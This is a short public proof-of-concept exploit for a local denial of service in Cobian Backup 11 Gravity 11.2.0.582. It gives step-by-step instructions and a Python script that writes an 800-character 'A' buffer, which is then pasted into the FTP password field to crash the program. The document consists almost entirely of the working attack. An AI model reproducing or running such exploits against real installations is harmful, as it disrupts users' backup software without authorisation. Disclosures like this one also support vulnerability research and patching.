# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Backup_11.2.0.582.py
# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
# 3.- Open "Cobian Backup 11 Gravity User Interface"
# 4.- Task -> "New task"
# 5.- File -> Source "Add" -> FTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 21
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Ok
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 800
f = open ("Cobian_Backup_11.2.0.582.txt", "w")
f.write(buffer)
f.close()